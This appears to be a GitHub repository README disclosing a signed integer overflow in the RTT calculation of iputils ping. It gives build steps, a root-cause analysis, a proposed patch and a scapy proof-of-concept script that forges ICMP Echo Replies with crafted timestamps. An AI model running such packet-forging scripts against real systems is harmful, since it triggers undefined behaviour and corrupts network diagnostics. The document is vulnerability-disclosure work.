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PoC showing how crafted ICMP replies can overflow the RTT math in ping_common.c

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README

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ping_rtt overflow

Releases

No releases published

Summary

A crafted ICMP Echo Reply can trigger a signed 64-bit integer overflow in iputils ping RTT calculation. By forging the timestamp field in the ICMP payload to be sufficiently large, the multiplication of seconds by 1,000,000 exceeds the signed long range, causing undefined behavior. Under AddressSanitizer (ASan), this is detected as a runtime error. In non ASan builds it wraps silently and clamps to zero, resulting in repeated zero-RTT readings and incorrect statistics.

Packages

Ubuntu AddressSanitizer

Affected Versions

Languages

Python 100.0%

- iputils ping from the current master branch: <https://github.com/iputils/iputils/tree/master>
- Ubuntu package version: iputils-ping 3:20240117-1build1

Environment

- Distribution: Ubuntu 24.04.1 LTS (Noble Numbat)
- Kernel: 5.15.167.4-microsoft-standard-WSL2
- Architecture: x86_64

Steps to Reproduce

1. Export ASan/UBSan build flags

```
export CFLAGS="-std=c99 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer"
export CXXFLAGS="$CFLAGS"
```



```
export LDFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer"
```

2. Clone and build iputils with sanitizers

```
git clone https://github.com/iputils/iputils.git
cd iputils
mkdir build-dir-asan && cd build-dir-asan
meson .. -Db_sanitize=address,undefined
ninja
```



3. In one terminal, start the PoC listener script (poc.py):

```
sudo ./poc.py
```



4. In another terminal, run ping:

```
sudo ./ping/ping -R -s 64 127.0.0.1
```



5. Observe signed-integer-overflow errors from ASan:

```
../ping_common.c:757: runtime error: signed integer overflow
```



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Root Cause Analysis

In `ping_common.c`, the code does:

```
/* normalize recv_time - send_time */
tvsub(&tv, &tmp_tv);
/* compute microseconds */
triptime = tv->tv_sec * 1000000 + tv->tv_usec
```



Because `tv->tv_sec` is a signed 64-bit `long` and attacker controls it via the ICMP payload, multiplying by 1,000,000 can exceed `LONG_MAX`, causing signed overflow (CWE-190). The code does not check for overflow before or after the multiplication.

Proposed Fix

Modify the RTT computation to use a 128-bit intermediate and clamp:

```
--- ping_common.c
+++ ping_common.c
@@ -754,7 +754,15 @@ gather_statistics(struct ping_rts *rts, uint8_t *icmph, int icmplen,
    tvsub(tv, &tmp_tv);
-    triptime = tv->tv_sec * 1000000 + tv->tv_usec;
+    {
+        __int128 delta = (__int128)tv->tv_sec * 1000000 + tv->tv_usec;
+        if (delta < 0) {
+            triptime = 0;
+        } else if (delta > LLONG_MAX) {
+            triptime = (long)LLONG_MAX;
+        } else {
+            triptime = (long)delta;
+        }
+    }
```



PoC Script (poc . py)

```
#!/usr/bin/env python3
from scapy.all import IP, ICMP, Raw, send, sniff, bind_layers
import time, struct, sys, os

LISTEN_INTERFACE = "lo"
TARGET_IP = "127.0.0.1"
FUTURE_OFFSET_SEC = 1.0

bind_layers(ICMP, Raw)

def process_packet(pkt):
    if not (pkt.haslayer(IP) and pkt.haslayer(ICMP)):
        return
    ip = pkt[IP]
    ic = pkt[ICMP]
```



```

if ic.type != 8:
    return

fut = time.time() + FUTURE_OFFSET_SEC
sec = int(fut)
usec = int((fut - sec) * 1_000_000)

data = struct.pack('=ll', sec, usec)
data += b'Z'*8 # padding to force full timeval read and overflow

reply = (
    IP(src=ip.dst, dst=ip.src) /
    ICMP(type=0, code=0, id=ic.id, seq=ic.seq) /
    Raw(load=data)
)

print(f"sending id={ic.id} seq={ic.seq} sec={sec} usec={usec} len={len(data)}")
send(reply, iface=LISTEN_INTERFACE, verbose=False)

def main():
    if os.geteuid() != 0:
        sys.exit("need root")
    filt = f"icmp and icmp[icmptype] = icmp-echo and host {TARGET_IP}"
    print(f"listening on {LISTEN_INTERFACE} for {TARGET_IP}")
    sniff(iface=LISTEN_INTERFACE, filter=filt, prn=process_packet, store=0)

if __name__ == '__main__':
    main()

```